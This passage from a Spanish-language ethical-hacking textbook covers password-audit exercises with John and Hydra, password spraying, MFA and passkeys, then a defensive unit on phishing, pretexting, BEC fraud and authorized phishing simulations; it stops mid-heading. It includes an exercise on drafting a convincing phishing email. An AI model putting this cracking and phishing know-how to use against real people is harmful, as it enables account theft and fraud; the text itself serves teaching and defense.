Solución: El tiempo crece con la posición de la contraseña en la lista, pero sigue siendo segundos o pocos minutos. La conclusión defensiva: contra diccionarios, las contraseñas comunes caen siempre; la defensa no es "esperar que no la adivinen" sino longitud real + bloqueo por intentos + MFA. Un atacante con rockyou (millones) y tiempo tumba cualquier contraseña débil: por eso las defensas en capas importan.

Ejercicio 2: Auditoría de hashes

Repite el Ejemplo 3 pero con contraseña "CaballoVerdeSaltaRio33" (larga). ¿John la rompe con diccionario simple? ¿Qué te dice eso?

Solución: Con diccionario simple no debería caer (no es palabra común ni está en listas básicas). La lección: la longitud y la no-predictibilidad derrotan al diccionario. Ojo: John con reglas avanzadas y mucho tiempo es más potente; la lección no es "esta contraseña es eterna" sino "longitud + unicidad + MFA" como estrategia.

Ejercicio 3: Diseña una política

Escribe una política de contraseñas de una cuartilla para una pequeña empresa: longitud, unicidad, MFA, bloqueo, y qué hacer si hay filtración.

Solución: Debe incluir: mínimo 12 caracteres (frases recomendadas), prohibido reutilizar entre sistemas, MFA obligatorio en correo, VPN y administración, bloqueo tras 5 intentos fallidos con desbloqueo asistido, verificación contra listas de filtradas al crearlas, y procedimiento ante filtración (cambio masivo + revisión de accesos). Si tu política cabe en una cuartilla y un empleado la entiende, es buena.

Ejercicio 4: Cazador de credenciales por defecto

Investiga 5 dispositivos o servicios comunes y sus credenciales de fábrica (router casero, cámara IP, impresora, etc.). Luego verifica en TU casa cuáles siguen con la de fábrica y cámbialas.

Solución: Las credenciales por defecto son públicas (manuales, sitios de fabricantes). El ejercicio real es la segunda parte: cambiarlas en tu casa hoy. Cada credencial de fábrica que cambies es una vulnerabilidad menos. Documenta en tu cuaderno cuántas cambiaste.

Ejercicio 5: Plan anti-spraying

Explica qué es el password spraying y diseña 3 controles que lo mitiguen en una empresa.

Solución: Spraying = pocas contraseñas comunes contra muchos usuarios para evadir bloqueos. Controles: 1) MFA en todos los accesos remotos (el spraying roba contraseñas, el MFA lo frena); 2) detección de patrones: muchos intentos con pocos passwords desde una IP = alerta y bloqueo de IP; 3) eliminar cuentas obvias/inactivas y exigir cambio de contraseñas débiles detectadas en auditoría. Si tus controles combinan prevención y detección, están completos.

Ejercicio 6: Reporte sin exponer

Redacta el párrafo de un informe donde reportas que 8 de 50 cuentas usan contraseñas débiles, sin revelar ninguna contraseña y con recomendación.

Solución: Ejemplo válido: "La auditoría de hashes autorizada encontró que 8 de 50 cuentas (16%) usan contraseñas vulnerables a diccionario en menos de 1 hora. Riesgo: alto. Recomendación: forzar cambio en el próximo inicio de sesión, activar MFA en accesos remotos y repetir la auditoría en 90 días." Nota lo que NO dice: ninguna contraseña en claro, ningún nombre de usuario innecesario. Así se reporta.

Caso práctico integral: auditoría de credenciales para una pyme (simulada)

Proyecto ficticio: "Café Aroma S.A." te pide auditar sus credenciales. Alcance firmado: 25 cuentas de la oficina matriz, auditoría de hashes autorizada por escrito, sin exponer contraseñas en el informe. Así lo ejecutarías (practica cada paso en tu laboratorio):

Paso 1: Inventario. Lista de cuentas y servicios: ¿hay cuentas genéricas ("caja1", "admin")? ¿cuentas de ex-empleados activas? ¿cuentas de servicio documentadas? Solo el inventario ya suele dar hallazgos (cuentas obsoletas activas = hallazgo medio).

Paso 2: Política actual. Revisas: ¿hay longitud mínima? ¿bloqueo por intentos? ¿MFA en el correo y la VPN? Documentas lo que existe vs lo recomendado (NIST, Unidad 6).

Paso 3: Auditoría técnica autorizada. Con acceso de administrador (otorgado por escrito), extraes hashes y corres John con diccionario + reglas, con límite de tiempo pactado. Registras qué % cae en 1 hora: esa métrica es tu titular ("el 32% de las cuentas caería en menos de una hora").

Paso 4: Prueba de servicios expuestos (controlada). Verificas si el correo web o la VPN permiten intentos ilimitados (sin bloquear): si es así, es hallazgo alto aunque las contraseñas sean buenas.

Paso 5: Informe sin exponer. Reportas porcentajes y cuentas afectadas por rol ("2 cuentas administrativas"), jamás contraseñas en claro. Recomendaciones: forzar cambio, activar MFA, implementar bloqueo, repetir auditoría trimestral.

Paso 6: Plan de mejora a 90 días. Semana 1-2: MFA en accesos críticos + cambio forzado de débiles. Mes 1: nueva política publicada y comunicada. Mes 2: gestor de contraseñas desplegado. Mes 3: re-auditoría y reporte de mejora. Un plan con fechas se ejecuta; una lista de deseos no.

Este proyecto, adaptado a negocios reales, es un servicio consultivo completo que puedes ofrecer con lo aprendido en esta unidad más las anteriores.

Despliegue de MFA en una organización (guía paso a paso)

1. Inventario: ¿qué sistemas lo soportan? (correo, VPN, paneles, nube).
2. Piloto: actívalo con 5 voluntarios técnicos una semana; recoge fricciones.
3. Comunicación: anuncia fecha, explica el porqué con un caso real (no con teoría), ofrece ayuda.
4. Despliegue por oleadas (por áreas), con soporte dedicado los primeros días.
5. Excepciones documentadas (cuentas de servicio con llaves API rotadas en vez de MFA).
6. Medición: % de cuentas con MFA activo (meta: 100% en accesos remotos).
7. Simulacro: prueba que el proceso de recuperación (teléfono perdido) funciona. El MFA que la gente odia lo rodean; el desplegado con empatía lo adoptan.

Kit de concientización sobre contraseñas (para capacitar a otros)

Prepara tu charla de 15 minutos: abre con el dato ("el X% de incidentes usa credenciales"), demuestra en vivo cómo cae una contraseña débil en tu laboratorio (impacto garantizado), enseña la frase-larga como método, instala un gestor con ellos en el momento, y cierra activando MFA en su correo ahí mismo. La gente no cambia hábitos con diapositivas: cambia haciendo, acompañada. Este kit te sirve para familia, amigos, clientes y tu futuro equipo.

Señales de que tus credenciales ya están comprometidas

Avisos de inicio de sesión desde lugares extraños, correos de "cambio de contraseña" que no pediste, contactos que reciben spam "tuyo", cargos o acciones que no hiciste. Protocolo inmediato: cambia desde equipo limpio, cierra sesiones, revisa actividad, activa MFA, y si es corporativo avisa a seguridad. Ten este protocolo impreso: en el susto del momento, el papel manda.

Taller avanzado: el futuro sin contraseñas (passkeys) y auditoría experta

Passkeys: adiós a las contraseñas (casi)

Las passkeys (estándar FIDO2/WebAuthn) reemplazan la contraseña con un par de llaves criptográficas: la privada vive en tu dispositivo (teléfono, llave física) y la pública en el servidor. Al entrar, tu dispositivo demuestra que tiene la privada (con tu huella o PIN local). Ventajas enormes: nada que robar del servidor (no hay secreto compartido), resistentes al phishing (la llave solo responde al sitio real), y más cómodas. Google, Apple y Microsoft ya las impulsan. Como profesional, recomienda migrar a passkeys donde el servicio las ofrezca: es el salto más

grande en autenticación en décadas. Pero ojo: la recuperación (pierdes el teléfono) debe planearse, y no todos los servicios las soportan aún: convive con MFA clásico durante la transición.

Biometría: lo que es y lo que no es

La huella o el rostro son cómodos pero tienen una propiedad incómoda: no los puedes cambiar si se filtran. Por eso la biometría bien usada es un factor de DESBLOQUEO LOCAL (abre tu teléfono, que a su vez usa tu passkey), no una contraseña que viaja por la red. Nunca aceptes sistemas que guarden "tu huella en su base de datos" sin garantías serias: un hash de contraseña se rota, tu rostro no. Como auditor, pregunta dónde y cómo se almacenan los datos biométricos: es un hallazgo si viajan o se guardan sin protección.

Auditoría de un inicio de sesión web (checklist)

Cuando audites (con autorización) el login de una aplicación:

- [] ¿Usa HTTPS en todo el flujo (no solo en el login)?
- [] ¿Limita intentos (bloqueo o captcha progresivo)?
- [] ¿Los mensajes de error no revelan si el usuario existe?
- [] ("credenciales inválidas" genérico, no "usuario no existe")
- [] ¿La sesión expira por inactividad y tiene tiempo máximo?
- [] ¿El logout realmente invalida la sesión en el servidor?
- [] ¿Hay MFA disponible (y obligatorio para admins)?
- [] ¿La recuperación de contraseña no es adivinable
- [] (sin "¿cuál es tu color favorito?")?
- [] ¿Las cookies de sesión son HttpOnly, Secure y SameSite?

Cada "no" es un hallazgo con severidad según contexto. Este checklist, aplicado a la web de un cliente, es un mini-servicio de auditoría por sí solo.

Ataques a la recuperación de cuentas (el flanco olvidado)

El atacante no ataca tu contraseña fuerte: ataca tu "¿olvidaste tu contraseña?". Vectores: preguntas secretas adivinables (tu primer mascota está en tu Instagram), enlaces de recuperación sin expiración, SMS de recuperación interceptado (SIM swapping), y soporte técnico manipulado ("soy yo, perdí mi teléfono"). Defensas: recuperación con MFA, enlaces de un solo uso y corta expiración, verificación de identidad robusta en soporte, y educar que las preguntas secretas deben responderse con mentiras memorables (o mejor: desactivarlas). Audita este flujo en tus sistemas: suele ser el eslabón débil.

Rotación y bóvedas de secretos (nivel empresa)

Las "contraseñas" entre máquinas (API keys, tokens, credenciales de servicio) no las maneja un humano: van en bóvedas de secretos (HashiCorp Vault, AWS Secrets Manager, Azure Key Vault) con rotación automática y auditoría de accesos. Si en una auditoría encuentras API keys en código, en chats o en archivos de configuración sin cifrar: hallazgo alto. La regla: ningún secreto en texto claro fuera de una bóveda, y rotación periódica o ante sospecha.

Métricas de higiene de credenciales (para tu programa)

% de cuentas con MFA activo (meta 100% en remotos), % de contraseñas que caen en auditoría trimestral (meta tendiendo a 0), días desde la última rotación de secretos críticos, cuentas obsoletas activas (meta 0), y tiempo de desactivación tras una baja (meta: el mismo día). Presenta evolución trimestral: lo que se mide mejora, y lo que mejora se presume... ante la dirección, con números.

Resumen de la unidad

Las contraseñas se atacan con fuerza bruta, diccionarios, spraying y credential stuffing, explotando lo predecible que somos. Los sistemas serios las guardan como hash lento con salt único, nunca en claro. Hydra prueba logins por red y John audita hashes: úsalos solo en tu laboratorio o con autorización escrita. Las defensas que funcionan: contraseñas largas y únicas (con gestor), MFA en todo lo importante, bloqueo por intentos, monitoreo de logs y políticas sensatas. Como defensor, tu auditoría cubre credenciales por defecto, cuentas obvias, servicios expuestos y MFA ausente. Y al reportar, nunca expongas contraseñas en claro.

En la Unidad 7 el objetivo ya no es la máquina sino la persona: la ingeniería social vista desde la defensa.

UNIDAD 7: Ingeniería social defensiva

Puedes tener el firewall más caro del mundo, contraseñas perfectas y todo actualizado, y aun así perder: basta con que alguien convenza a tu recepcionista de que es "el técnico" y necesita la contraseña del Wi-Fi. La ingeniería social es el arte de manipular personas para obtener información o acceso, y es la técnica favorita de los atacantes reales porque ataca el eslabón más débil y menos parcheable: el humano.

Esta unidad es deliberadamente defensiva. No te voy a enseñar a engañar gente; te voy a enseñar cómo te engañan, para que no te pase, y cómo proteger a tu equipo, tu familia y tu empresa. Entenderás las técnicas (phishing, pretexting, baiting, vishing), la psicología que explotan (prisa, autoridad, miedo, amabilidad), las señales de alerta y, lo más valioso, cómo construir una cultura de seguridad donde la gente sea tu mejor defensa en vez de tu peor vulnerabilidad.

Un dato para dimensionar: en la mayoría de los incidentes grandes de la historia hubo un clic humano en algún punto: alguien abrió el adjunto, alguien dio su contraseña por teléfono, alguien conectó la USB encontrada en el estacionamiento. La tecnología falló poco; las personas, mucho. Por eso esta unidad puede valer más que todas las herramientas juntas.

Explicación detallada

Qué es la ingeniería social

Es cualquier técnica que usa la manipulación psicológica para que una persona haga algo que beneficia al atacante: dar una contraseña, abrir un archivo, transferir dinero, dar acceso físico. No "hackea" computadoras; hackea confianza, hábitos y emociones. Y funciona porque explota rasgos humanos normales y hasta virtuosos: ser amable, ser servicial, respetar a la autoridad, querer ayudar en una emergencia.

El ciclo típico del atacante: 1) investiga (reconocimiento, Unidad 3: nombres, puestos, proveedores, eventos); 2) establece contacto con un pretexto creíble; 3) genera confianza o urgencia; 4) pide la acción (el clic, el dato, la transferencia); 5) desaparece y borra huellas. Tu defensa interrumpe ese ciclo en cualquier punto: si verificas la identidad del contacto, el ciclo se rompe.

Phishing: el rey de los ataques

El phishing es el correo (o mensaje) fraudulento que suplanta a una entidad confiable para robar credenciales o instalar malware. Sus variantes: spear phishing (dirigido a una persona específica, con datos reales de ella: mucho más convincente), whaling (dirigido a directivos, "ballenas"), vishing (por voz/teléfono), smishing (por SMS), y pharming (redirigir a sitios falsos).

Anatomía de un phishing típico: remitente que parece legítimo (pero el dominio real es otro: banco-seguro.com en vez de banco.com), asunto urgente ("Tu cuenta será bloqueada en 24 horas"), saludo genérico ("Estimado cliente"), enlace a un sitio clonado que pide tus datos, y errores sutiles (el candado no garantiza nada, el diseño puede ser perfecto). Los modernos, generados con IA, ya no tienen faltas de ortografía: la defensa ya no es "se ve chafa", es verificar por otro canal.

Defensa personal ante cualquier mensaje sospechoso: no hagas clic en el enlace; ve al sitio oficial escribiendo tú la dirección. Verifica el remitente real (no el nombre mostrado). Desconfía de la urgencia: es una herramienta de manipulación. Ante la duda, llama al número oficial (no al del mensaje) y pregunta.

Pretexting, baiting y otras técnicas

Pretexting: inventar un personaje y una historia para obtener información ("Soy del soporte, estamos migrando el correo y necesito validar su usuario"). Funciona por teléfono, en persona y por chat. La defensa: política de verificación de identidad; el soporte real nunca pide tu contraseña.

Baiting: la carnada. La USB "perdida" en el estacionamiento con etiqueta "Nómina 2024": alguien la conecta por curiosidad y el malware hace el resto. Variante digital: "descarga gratis" que trae regalo. Defensa: nunca conectes medios desconocidos; desactiva la ejecución automática; reporta hallazgos.

Tailgating: seguir a alguien autorizado para entrar a un área restringida ("¿me detienes la puerta? traigo las manos ocupadas"). Apela a la amabilidad. Defensa: cada persona usa su credencial; ayudar no incluye abrir puertas seguras.

Quid pro quo: "te ayudo con X si me das Y" ("soy técnico, te arreglo la compu, solo necesito tu contraseña"). Defensa: el soporte legítimo no necesita tu contraseña; tiene sus propios accesos.

Eavesdropping y shoulder surfing: escuchar conversaciones o mirar pantallas por encima del hombro. Defensa: pantallas de privacidad, no hablar de temas sensibles en lugares públicos, bloquear la compu al levantarte (Win+L / Ctrl+Alt+L).

La psicología que explotan (y cómo blindarte)

Autoridad: "habla el director", "es orden de sistemas". Blindaje: la autoridad real acepta ser verificada; verifica por otro canal.

Urgencia y miedo: "si no lo haces ahora, pierdes tu cuenta/empleo/dinero". Blindaje: la urgencia es la bandera roja número uno; respira y verifica.

Amabilidad y reciprocidad: te hacen un favor pequeño para pedirte uno grande. Blindaje: ser amable no obliga a romper reglas; "con gusto te ayudo por el canal oficial".

Curiosidad y morbo: "mira las fotos de la fiesta", "tu paquete no pudo entregarse". Blindaje: si no lo esperabas, no lo abras.

Confianza y familiaridad: clonan el estilo de tu jefe o proveedor. Blindaje: los asuntos sensibles se confirman por segunda vía (llamada al número conocido).

Explica esto a tu equipo con ejemplos, no con teoría. La gente recuerda historias, no políticas.

Simulacros autorizados: vacunando a tu organización

La mejor defensa contra el phishing es practicarlo de forma controlada: campañas simuladas de phishing autorizadas por la dirección, donde se envían correos falsos (inofensivos) a los empleados para medir quién cae. Los que hacen clic reciben capacitación inmediata, sin castigos ni exhibiciones: el objetivo es educar, no humillar.

Reglas de un simulacro ético: autorización escrita de la dirección; nunca usar datos reales sensibles como carnada; no simular emergencias que causen pánico real; resultados agregados para la empresa, individuales solo para capacitación privada; y siempre cerrar el ciclo con formación. Bien hecho, un programa de simulacros reduce los clics del 30% al 5% en un año. Es de las inversiones más rentables en seguridad.

Nota legal y ética: simular phishing sin autorización de la dirección, aunque sea "para enseñarles", es problemático. Siempre con permiso y con reglas claras.

Políticas y cultura: el factor humano como fortaleza

Las políticas que sí funcionan: verificación de identidad para peticiones sensibles (toda transferencia, todo cambio de datos bancarios se confirma por segunda vía); nadie pide ni da contraseñas jamás; procedimiento claro para reportar sospechas (un botón o correo de "reportar phishing" que la gente sí use); capacitación periódica corta y con ejemplos reales; y liderazgo que predica con el ejemplo (si el director cae en simulacros y se capacita como todos, la cultura cambia).

Mide y mejora: tasa de clics en simulacros, tasa de reporte (¿la gente reporta lo sospechoso o solo lo ignora?), tiempo de respuesta ante incidentes. Lo que se mide, mejora.

Protege también a tu familia

La ingeniería social no solo ataca empresas: tus papás y abuelos reciben llamadas de "el banco", "tu nieto está detenido", "ganaste un premio". Enséñales las mismas reglas en lenguaje simple: ningún banco pide datos por teléfono; ante urgencia, cuelga y llama tú al número oficial; nadie gana premios de sorteos en los que no participó. Proteger a tu familia es hacking ético aplicado a la vida real.

Marco ético de la unidad

Queda absolutamente claro: usar estas técnicas para engañar a personas reales, aunque sea "de broma" o "para demostrarles", sin autorización formal, es manipulación y puede ser delito (fraude, suplantación). Los simulacros solo con autorización escrita de quien tiene autoridad sobre el personal involucrado, con reglas que protejan la dignidad de las personas. El conocimiento de esta unidad es para defender y educar, nunca para manipular.

Errores comunes

Creer que "a mí no me engañan": los estudios muestran que la confianza excesiva es factor de riesgo. Todos somos vulnerables cansados, apurados o distraídos.

Capacitar una vez al año con un video aburrido: no funciona. Capacitación breve, frecuente y con simulacros sí.

Castigar a quien cae en simulacros: genera miedo a reportar, que es lo contrario de lo que quieres. Educa, no castigues.

Enfocarse solo en correo: el vishing (teléfono) y el smishing crecen cada año. La defensa cubre todos los canales.

Olvidar a proveedores y personal externo: el atacante entra por el eslabón más débil, que a veces es el contratista.

Ejemplos paso a paso

Estos ejemplos son de análisis defensivo: diseccionar ataques para reconocerlos. Puedes practicar con correos de phishing reales que lleguen a tu carpeta de spam (analizar, nunca hacer clic).

Ejemplo 1: Disección de un phishing (análisis forense de escritorio)

```
# Toma un correo de spam/phishing de tu bandeja de spam y analízalo SIN
# hacer clic en nada. Responde en tu cuaderno:

1. REMITENTE REAL: mira la dirección completa, no el nombre mostrado.
   ¿El dominio coincide con la empresa que dice ser?
2. ENLACES: pasa el mouse SIN hacer clic. ¿A qué dominio llevan realmente?
   (En muchos clientes puedes ver la URL real; también "ver código fuente".)
3. URGENCIA: ¿te presiona con tiempo, miedo o premio?
4. SALUDO: ¿genérico ("estimado cliente") o personal?
5. PEDIDO: ¿qué quiere que hagas? (clic, adjunto, datos, llamada)
6. VEREDICTO: phishing / legítimo / sospechoso. Justifica en 2 líneas.

# Repite con 5 correos de spam. En el quinto ya lo harás en 2 minutos:
# ese es el músculo que quieres entrenar.
```

Ejemplo 2: Verificar un mensaje sospechoso por segunda vía (protocolo)

```
# PROTOCOLO ANTE MENSAJE SOSPECHOSO (imprímelo y pégalo donde lo veas):
#
# 1. NO hagas clic, NO descargues, NO respondas.
# 2. Identifica qué te pide y quién dice ser.
# 3. Busca el contacto OFICIAL por tu cuenta (web oficial, app oficial,
#    número que ya tenías guardado; NUNCA los datos del mensaje).
# 4. Pregunta por ese canal oficial si el mensaje es legítimo.
# 5. Si es phishing: repórtalo (botón de reporte o reenvía a la
#    dirección anti-phishing de tu empresa/proveedor) y bórralo.
#
# Practícalo la próxima vez que llegue algo dudoso, aunque sea obvio.
# El hábito se construye con repetición, no con teoría.
```

Ejemplo 3: Diseñar tu propio simulacro (plantilla autorizada)

PROPUESTA DE SIMULACRO (para presentar a la dirección; solo se ejecuta
con su autorización escrita):

OBJETIVO: Medir la tasa de clic en phishing y capacitar al personal.

ALCANCE: Empleados de [área], [fechas].

REGLAS ÉTICAS:

- Correo inofensivo: el enlace lleva a una página interna de capacitación, NO roba credenciales reales (como máximo registra el clic de forma anónima o pide credenciales FALSAS de ejemplo con aviso claro de que es simulacro).
- Sin emergencias falsas que causen pánico (nada de "despidos" o "hackeo").
- Resultados individuales solo para capacitación privada 1 a 1.
- Todo el que haga clic recibe micro-capacitación inmediata (2 min), sin castigos ni exhibición pública.

MÉTRICAS: tasa de clic, tasa de reporte, comparativa con el simulacro anterior.

CIERRE: sesión grupal de 15 min con ejemplos reales anonimizados.

Ejemplo 4: Política de verificación de transferencias (caso de negocio)

El fraude del "CEO" (BEC - Business Email Compromise) ha costado
miles de millones: un correo falso del director ordena una transferencia
urgente. La defensa es un procedimiento, no tecnología:

PROCEDIMIENTO DE PAGOS Y CAMBIOS BANCARIOS:

1. Toda solicitud de transferencia o cambio de datos bancarios recibida por correo o mensaje DEBE confirmarse por llamada al número oficial registrado (no al del mensaje).
2. Montos mayores a \$X requieren doble autorización firmada.
3. Los datos bancarios de proveedores solo se cambian con validación telefónica + correo de confirmación a dirección conocida.
4. Ninguna "urgencia" del supuesto director exime la verificación: la urgencia es la señal de alerta, no la excepción.

Adapta los montos y roles a tu empresa. Este procedimiento por sí solo
bloquea la estafa más cara del mundo corporativo.

Ejemplo 5: Endurecer tu propio correo (defensa personal inmediata)

```
# Haz esto HOY en tus cuentas importantes (correo, banco, redes):  
# 1. Activa MFA con app autenticadora (no solo SMS).  
# 2. Revisa sesiones activas y cierra las que no reconozcas.  
# 3. Genera contraseñas únicas con tu gestor (Unidad 6).  
# 4. Configura alertas de inicio de sesión.  
# 5. Revisa qué apps de terceros tienen acceso y revoca las innecesarias.  
#  
# Anota en tu cuaderno: ¿en cuántas cuentas activaste MFA hoy?  
# Meta: 100% de tus cuentas importantes antes de terminar la unidad.
```

Profundización: psicología del engaño y cultura de seguridad

Los 6 principios de influencia (el manual del manipulador)

Robert Cialdini identificó los resortes que usan (y abusan) los ingenieros sociales: 1) Reciprocidad: te doy algo pequeño, me debes algo grande ("te ayudo con tu compu, pásame tu clave"). 2) Compromiso: te hago decir sí a algo pequeño para escalar ("¿me confirmas tu nombre? ¿y tu puesto? ¿y tu correo?"). 3) Prueba social: "todos en tu área ya lo hicieron". 4) Autoridad: uniforme, título, tono seguro. 5) Simpatía: caigo bien, bajas la guardia. 6) Escasez/urgencia: "solo hoy", "se bloquea en 1 hora". Conocerlos por nombre te da superpoderes: cuando sientas uno activándose en una llamada o correo sospechoso, es tu alarma interna sonando. Enséñaselos a tu equipo con ejemplos: la gente los recuerda porque explican manipulaciones que ya vivieron.

BEC al desnudo: la estafa más cara

El Business Email Compromise no usa malware: usa un correo bien escrito. Variantes: el falso CEO que ordena transferencia urgente; el falso proveedor que "cambió su cuenta bancaria"; el abogado falso en una adquisición. Han costado miles de millones globalmente. Por qué funciona: explota jerarquía (nadie cuestiona al director), urgencia (cierra hoy) y confidencialidad ("no le digas a nadie"). Defensa en capas: procedimiento de verificación por segunda vía (Unidad 7, Ejemplo 4), doble autorización en pagos, capacitación con casos reales, y tecnología (DMARC para que no suplanten tu dominio, alertas en reglas de reenvío automático de correo). Si implementas una sola cosa en una empresa, que sea el procedimiento de pagos.

Deepfakes y clonación de voz: la nueva frontera

Ya existen estafas con voz clonada por IA ("mamá, soy yo, necesito dinero urgente") y videollamadas falsas de "directivos". La defensa evoluciona: establece con tu familia y tu equipo una palabra clave secreta para emergencias reales; en empresas, los asuntos sensibles (pagos, accesos) NUNCA se autorizan solo por llamada o video: requieren el procedimiento escrito. La tecnología del engaño avanza; tus procedimientos deben avanzar más rápido.

Diseñando cultura de seguridad (más allá de la capacitación)

La cultura es lo que la gente hace cuando nadie la vigila. Para construirla: liderazgo visible (los directivos participan en simulacros y lo cuentan), reporte fácil y sin culpa (un botón de "esto se ve raro" que sí funciona y agradece), comunicación constante y breve (un consejo mensual de 2 minutos vale más que un curso anual de 2 horas), refuerzo positivo (reconocer a quien reporta un phishing real), y métricas compartidas (mostrar cómo baja la tasa de clics une al equipo). Mide cultura, no solo clics: ¿la gente reporta? ¿pregunta antes de actuar? Eso es madurez.

Respuesta a incidentes de ingeniería social

Cuando alguien cae (pasará): 1) contener: cambiar credenciales comprometidas, cerrar sesiones, aislar el equipo si hubo malware; 2) evaluar: ¿qué información salió? ¿qué sistemas tocó?; 3) comunicar: avisar a seguridad/TI de inmediato, sin miedo al castigo (la rapidez salva); 4) aprender: documentar cómo ocurrió y reforzar el punto débil (¿faltaba procedimiento? ¿capacitación?). Ten este mini-plan escrito y visible: en el pánico del momento, el papel piensa por ti.

El factor interno: empleados descontentos y errores

No todo es atacante externo: el empleado que se va y conserva accesos, el que comparte su contraseña "para agilizar", el proveedor con acceso eterno. Defensas: proceso formal de altas/bajas/modificaciones (la cuenta se desactiva el mismo día de la salida), revisión trimestral de accesos, mínimo privilegio también para internos, y acuerdos de confidencialidad. La mayoría de las "traiciones" son negligencia, no maldad: los procesos las previenen.

Capacitar por roles (no todos necesitan lo mismo)

Recepción y atención al cliente: verificación de identidad, no dar información por teléfono. Finanzas: procedimiento anti-BEC, doble autorización. TI: no pedir ni aceptar credenciales, validar solicitudes. Directivos: whaling, suplantación, y dar ejemplo. Personal nuevo: inducción de seguridad el primer día. Capacitar por rol es más efectivo y más barato que un curso genérico para todos.

Glosario de la unidad

BEC: fraude por correo haciéndose pasar por ejecutivo/proveedor. Whaling: phishing a directivos. Pretexting: historia falsa para obtener datos. OSINT humano: investigar personas con fuentes públicas. MFA fatigue: agotar al usuario con solicitudes de aprobación. Cultura de seguridad: comportamientos colectivos ante el riesgo.

Práctica

Ejercicio 1: Caza phishings en tu spam

Analiza 5 correos de tu carpeta de spam con la plantilla del Ejemplo 1. Para cada uno: veredicto y las 2 señales más claras.

Solución: No hay respuestas únicas, pero tus análisis deben mencionar señales concretas: dominio del remitente que no coincide, URLs que llevan a otro dominio, urgencia artificial, saludo genérico, adjuntos inesperados. Si en el quinto correo identificas las señales en menos de 3 minutos, tu ojo ya está entrenado. Guarda tus 5 análisis: son material para capacitar a otros.

Ejercicio 2: Redacta un phishing "bueno" (para defenderte)

Escribe un correo de phishing simulado dirigido a ti mismo, lo más convincente posible, usando datos públicos tuyos (sin datos sensibles reales). Luego escribe cómo lo detectarías.

Solución: Este ejercicio (clásico en formación defensiva) te pone en la mente del atacante de forma controlada. Un buen simulacro usa: remitente creíble, contexto real (un servicio que sí usas), urgencia moderada y un enlace falso evidente solo si miras la URL real. La segunda parte es la valiosa: tu propia detección debe mencionar verificación por segunda vía. Si tu phishing te engañaría a ti cansado un viernes, imagina a tu equipo: de ahí la necesidad de simulacros reales autorizados.

Ejercicio 3: Protocolo familiar

Escribe en lenguaje simple (para tus papás o abuelos) una tarjeta de 5 reglas anti-estafas telefónicas y por mensaje.

Solución: Ejemplo válido: 1) Ningún banco te pide datos por teléfono; cuelga. 2) Si dicen que un familiar está en problemas, cuelga y llama tú a tu familiar. 3) No ganaste ningún premio de un sorteo en el que no participaste. 4) No instales nada que te pidan por teléfono. 5) Ante la duda, pregúntame antes de hacer nada. Si tu tarjeta se entiende sin saber de tecnología, está bien. Enséñasela a tu familia de verdad: es el ejercicio con más impacto real del libro.

Ejercicio 4: Diseña la campaña de concientización

Para una empresa ficticia de 50 personas, diseña un plan trimestral: temas, formato, frecuencia y métricas.

Solución: Un plan válido: mes 1, micro-capacitación de phishing (15 min) + simulacro base; mes 2, taller de contraseñas y MFA; mes 3, simulacro de vishing anunciado + sesión de resultados. Métricas: tasa de clic, tasa de reporte, % con MFA activado. Formato: sesiones cortas, ejemplos reales, sin castigos. Si tu plan es sostenible (poco tiempo por persona) y medible, es profesional.

Ejercicio 5: Analiza un caso real

Investiga un caso famoso de ingeniería social (ej: el ataque a Twitter de 2020 por teléfono a empleados, o un caso BEC) y escribe: qué técnica usaron, qué falló en la defensa y qué lo habría detenido.

Solución: Estructura válida: técnica (ej: vishing + pretexting a empleados con acceso a herramientas internas), fallo (procesos de verificación débiles, accesos excesivos), defensa (verificación por segunda vía, mínimo privilegio, capacitación). El objetivo es conectar teoría con realidad: los ataques que salen en noticias usan estas mismas técnicas.

Ejercicio 6: Tu procedimiento anti-BEC

Adapta el Ejemplo 4 a un negocio pequeño (tienda, despacho, familia con negocio): roles, montos y pasos concretos.

Solución: Debe incluir: quién autoriza pagos, confirmación telefónica obligatoria a números conocidos, doble revisión para montos altos, y la regla "la urgencia no exime verificación". Si un negocio pequeño puede seguirlo sin contratar a nadie, es realista. Este procedimiento vale más que mucho software.

Caso práctico integral: programa anual de concientización (plantilla lista para usar)

Aquí tienes un programa de 12 meses para una empresa de 50 personas, adaptable a cualquier tamaño. Es el servicio de "cultura de seguridad" que puedes vender.

Mes 1: Línea base. Simulacro de phishing inicial (autorizado) + encuesta anónima de 5 preguntas ("¿sabrías reportar un correo raro?"). Métricas iniciales: tasa de clic, tasa de reporte. Sin capacitación previa: necesitas el "antes" honesto.

Mes 2: Fundamentos. Micro-charla de 15 min: qué es phishing + protocolo de verificación + botón de reporte. Todo el mundo, por áreas.

Mes 3: Contraseñas y MFA. Taller práctico: instalan gestor y activan MFA en su correo ahí mismo. Meta: 80% con MFA al cerrar el mes.

Mes 4: Simulacro 2 (phishing). Comparas con mes 1 y celebras la mejora en cartelera interna. A los que caen: micro-capacitación privada, sin castigo.

Mes 5: Ingeniería social por teléfono. Taller con ejemplos de vishing y role-play corto (en parejas, 10 min): uno intenta "sacar" un dato, el otro practica decir "lo verifico por el canal oficial". La gente recuerda lo que actúa.

Mes 6: Seguridad física y en casa. Tailgating, USBs, Wi-Fi públicas, protección familiar. Conecta trabajo y vida personal: aumenta el compromiso.

Mes 7: Simulacro 3 (vishing anunciado como "ejercicio de la semana" + phishing). Mides ambos canales.

Mes 8: Casos reales. Sesión con 3 casos famosos anonimizados: qué pasó, qué falló, qué lo habría detenido. Las historias fijan más que las reglas.

Mes 9: Roles críticos. Finanzas: anti-BEC a fondo. TI: manejo de solicitudes sensibles. Recepción: verificación de identidad.

Mes 10: Simulacro 4 (spear phishing a una muestra). El más difícil: mide madurez real.

Mes 11: Repaso y juego. Trivia de seguridad por equipos con premios simbólicos. Aprender jugando fija el doble.

Mes 12: Cierre anual. Reporte a dirección: evolución de métricas, incidentes evitados por reportes del personal (pide ejemplos), plan del año 2. Celebración del equipo con mejores reportes.

Inversión: unas 3 horas por persona al año + tus honorarios. Retorno: la tasa de clic suele caer del 25-30% al 5% o menos, y la tasa de reporte sube: tu empresa pasa de ser blanco fácil a objetivo caro. Ese es el argumento de venta.

Guía por rol (resumen ejecutivo para directivos)

Directivos: son objetivo de whaling y su ejemplo arrastra. Pídeles participar visiblemente en simulacros y no pedir excepciones ("a mí no me pongan MFA"). Finanzas: procedimiento anti-BEC innegociable + doble autorización. TI/soporte: jamás pedir credenciales; verificar identidad antes de ayudar. Todos: reportar sin miedo, verificar por segunda vía, y entender que la prisa es la señal de alerta. Una página por rol, lenguaje de cada rol, ejemplos de cada rol.

Kit familiar ampliado (protege a los tuyos de verdad)

